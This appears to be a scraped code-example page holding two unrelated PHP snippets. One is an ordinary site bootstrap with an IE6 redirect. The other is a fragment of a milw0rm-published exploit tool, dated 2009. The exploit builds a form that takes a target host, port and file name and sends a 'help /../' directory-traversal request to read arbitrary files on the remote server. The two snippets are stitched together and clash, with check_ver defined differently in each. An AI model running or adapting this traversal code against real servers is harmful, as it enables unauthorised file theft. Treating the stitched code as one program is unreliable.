Пример #1
0
<?php

function check_ver()
{
    $browsers = array('MSIE 6.0');
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    foreach ($browsers as $v) {
        if (stristr($user_agent, $v)) {
            return 'True';
        }
    }
}
if (check_ver() == 'True') {
    setcookie("ie", "yes", time() + 60 * 60 * 24 * 360);
    header("Location: /ie6/ie6.html");
}
date_default_timezone_set('Asia/Novosibirsk');
define('START_TIME', microtime(true));
ob_start();
error_reporting(E_ALL | E_STRICT);
ini_set('register_globals', 0);
ini_set('display_errors', 1);
mb_internal_encoding('utf-8');
define('DOC_ROOT', realpath(dirname(__FILE__)) . "/");
define('CORE_ROOT', DOC_ROOT . 'core/');
include CORE_ROOT . 'error_handlers.php';
include CORE_ROOT . 'config.php';
include CORE_ROOT . 'functions.php';
if (get_magic_quotes_gpc()) {
    $_POST = RemoveQuotes($_POST);
    $_GET = RemoveQuotes($_GET);
Пример #2
0
	COLOR: #B9B9BD; 
	BACKGROUND: #44474F; 
	FONT-FAMILY: Courier new, Courier, Verdana, Arial, Helvetica, sans-serif; 
}

-->
</style>
</head>
<body>';
}
head();
if (!$_GET) {
    html();
    info();
}
if (isset($_GET['go_fuck'])) {
    $hostname = $_POST['hostname'];
    $file = $_POST['file'];
    $port = $_POST['port'];
    if (isset($_POST['check_ver'])) {
        echo '<pre>' . check_ver($hostname, 'ver', $port);
    }
    if (isset($_POST['parampampam'])) {
        echo '<textarea style="background-color: #31333B; color: #B9B9BD;" name="zz" cols=90 rows=16>' . check_ver($hostname, 'help /../' . $file . "", $port) . '</textarea>';
        html();
    }
}
?>

# milw0rm.com [2009-01-14]